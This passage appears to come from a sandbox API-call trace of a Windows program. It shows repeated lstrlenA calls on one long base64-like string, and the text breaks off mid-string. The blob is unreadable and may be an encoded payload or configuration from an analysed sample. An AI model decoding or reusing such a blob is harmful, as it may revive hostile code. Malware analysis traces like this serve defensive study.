(lpString="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") returned 5792 [0128.358] lstrlenA (lpString="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") returned 5792 [0128.358] lstrlenA (lpString="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